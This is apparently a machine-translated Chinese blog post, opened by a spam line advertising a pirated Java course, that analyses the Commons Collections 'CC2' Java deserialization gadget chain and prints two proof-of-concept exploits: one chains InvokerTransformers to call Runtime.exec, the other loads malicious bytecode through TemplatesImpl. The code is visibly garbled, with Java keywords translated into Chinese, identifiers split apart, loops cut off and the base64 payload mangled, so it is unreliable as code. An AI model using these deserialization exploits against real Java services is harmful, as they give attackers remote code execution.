download:Java架构师-十项全能40周完结无密打算v老本

Java反序列化-CC2剖析
如何应用PriorityQueue和TransformingComparator作为切入点和跳板
首先,让咱们看看TransformingComparator类作为跳板是如何被调用到利用链的。
public int compare(final I obj1,final I obj2) {
final O value 1 = this . transformer . transform(obj 1);
final O value 2 = this . transformer . transform(obj 2);
返回this.decorated.compare(value1,value 2);
}
复制代码
在TransformingComparator#compare办法中,调用transform办法来批改obj1和obj2的值。正是这种办法调用了利用链。
让咱们看看PriorityQueue类是如何作为入口点应用的。
公有void read object(Java . io . objectinputstream s)
抛出java.io.IOException,ClassNotFoundException {
//读入大小,以及任何暗藏的货色
s . default read object();

//读入(并抛弃)数组长度
s . readint();

queue =新对象[大小];

//读入所有元素。
for(int I = 0;I <大小;i++)
queue[I]= s . read object();

//元素保障处于“正确的程序”,然而
// spec素来没有解释过那可能是什么。
heap ify();
}
复制代码
在PriorityQueue#readObject办法中,反序列化的数据存储在队列字段中,而后调用heapify办法调整数据,造成二进制堆。
调整数据时,会对数据进行比拟,较小的数排在第一位。在比拟数据时,会调用compare办法,这样PriorityQueue类就与TransformingComparator连接起来了。看看这个操作是如何在代码中实现的
公有void heapify() {
for(int I =(size > > > 1)-1;I > = 0;我-)
siftDown(即,(E)queue[I]);
}
复制代码
在heapify办法中,通过向后挪动数字来调整数据。
private void siftDown(int k,E x) {
if(比拟器!=空)
siftDownUsingComparator(k,x);
其余
siftDownComparable(k,x);
}
复制代码
在向后挪动之前,会判断是否有比拟器,如果有,调用if中的办法,否则调用else中的办法。这里间接看I-minute办法,因为只有在有比拟器的状况下,才会调用比拟器中的办法来比拟两个数。
private void siftdownsusingcomparator(int k,E x) {
int half = size > > > 1;
while (k <一半){
int child = (k
object c = queue[child];
int right = child+1;
if(右<大小&&
comparator.compare((E) c,(E) queue[right]) > 0)
c =队列[child = right];
if(比拟器. compare(x,(E) c)
突破;
queue[k]= c;
k =孩子;
}
queue[k]= x;
}
复制代码
如您所见,if中的办法调用comparator中的比拟办法来比拟两个数字。正是这一步容许PriorityQueue类作为入口点与TransformingComparator类作为跳板相结合。
用优先级队列和转换比拟器结构poc
首先是利用链。
PriorityQueue.readObject()
TransformingComparator.compare()
ChainedTransformer.transform()
InvokerTransformer.transform()
复制代码
开始构建概念验证
公共动态void main(String[] args)引发异样{

//结构歹意数组
变压器[]变压器=新变压器[]{
new constant transformer(runtime . class),
new invoker transformer(" get method ",新类[]{String.class,Class[]。class},新对象[]{"getRuntime ",新类[]{}}),
new InvokerTransformer("invoke ",新类[]{Object.class,Object[]。class},新对象[]{null,新对象[]{}}),
new InvokerTransformer("exec ",新类[]{String.class},新对象[]{"calc"})
};
//结构一个有害数组
Transformer[]test = new Transformer[]{ };

//执行add办法调用compare办法进行比拟时应用有害数组。
chained transformer chain = new chained transformer(测试);

priority queue queue = new priority queue(new transforming comparator(chain));
queue . add(1);
queue . add(1);

//调用add办法后,通过反射批改chain的数组,用歹意数组替换有害数组,而后在反序列化二进制堆时调用歹意数组执行代码。
Field field = chain.getClass()。getDeclaredField(" iTransformers ");
field . set accessible(true);
field.set(链条、变压器);

ObjectOutputStream OOS = new ObjectOutputStream(new file output stream(" CC2 "));
oos.writeObject(队列);
ObjectInputStream ois = new ObjectInputStream(new file inputstream(" CC2 "));
ois . read object();

}
复制代码
在这里也能够应用CC3中的TemplatesImpl类来结构poc。
这里就不解释了,只给poc。
公共动态void main(String[] args)引发异样{

//创立歹意的字节码
byte[] bytes = Base64.getDecoder()。decode(" yv 66 vgaaadqaiqoabgatcgauabuiabykabqafwcagacagqeacxryyw5 zzm 9 ybqeacihmy 29 TL 3n 1 bi 9 vcmcvyxbh y2 hll 3 hhbgful 2 ludgvybmfs L3 hzbh rjl 0 rptttbtgnvbs 9 zdw 4v 4 VB 3 jnl 2 fwywnozs 94 bwwvaw 50 zxjuywwvc 2 vyawfsaxplc I 9 tzxjpyxpemf 0 aw 9 usgfuzgxlcjspgeavgenvzgubaa
template simul obj = new template simple();
setFieldValue(obj," _bytecodes ",new byte[][]{ bytes });
setFieldValue(obj," _name "," sakut 2 ");
setFieldValue(obj," _tfactory ",new TransformerFactoryImpl());

//首先应用有害的有效载荷,防止提前触发破绽援用URLDNS
transformer transformer = new invoker transformer(" toString ",null,null);
priority queue queue = new priority queue(新转换比拟器(转换器));

//将歹意字节码增加到队列中,并在反序列化二进制堆时将其用作比拟参数。
queue . add(obj);
queue . add(obj);
//执行add办法反序列化后,批改有效载荷时会触发破绽代码。
setFieldValue(transformer,“iMethodName”,“new transformer”);

ObjectOutputStream OOS = new ObjectOutputStream(new file output stream(" CC2 "));
oos.writeObject(队列);
ObjectInputStream ois = new ObjectInputStream(new file inputstream(" CC2 "));
ois . read object();

}
公共动态void setFieldValue(对象对象,字符串字段名称,对象值)引发异样{
Field field = obj.getClass()。getDeclaredField(字段名称);
field . set accessible(true);
field.set(obj,value);
}

复制代码
CC2公共图书馆的性能
在下面的poc中,你可能认为commons-collections4和commons-collections没有区别。这两个新应用的类也能够在commons-collections中找到。为什么不能应用commons-collections来结构poc呢?
在这里,仅仅通过查看poc,您可能看不到任何区别,然而当您应用commons-collections运行这个poc时,您会发现一个谬误。这里,在commons-collections4中导入的所有类都被注入并替换为commons-collections中的类。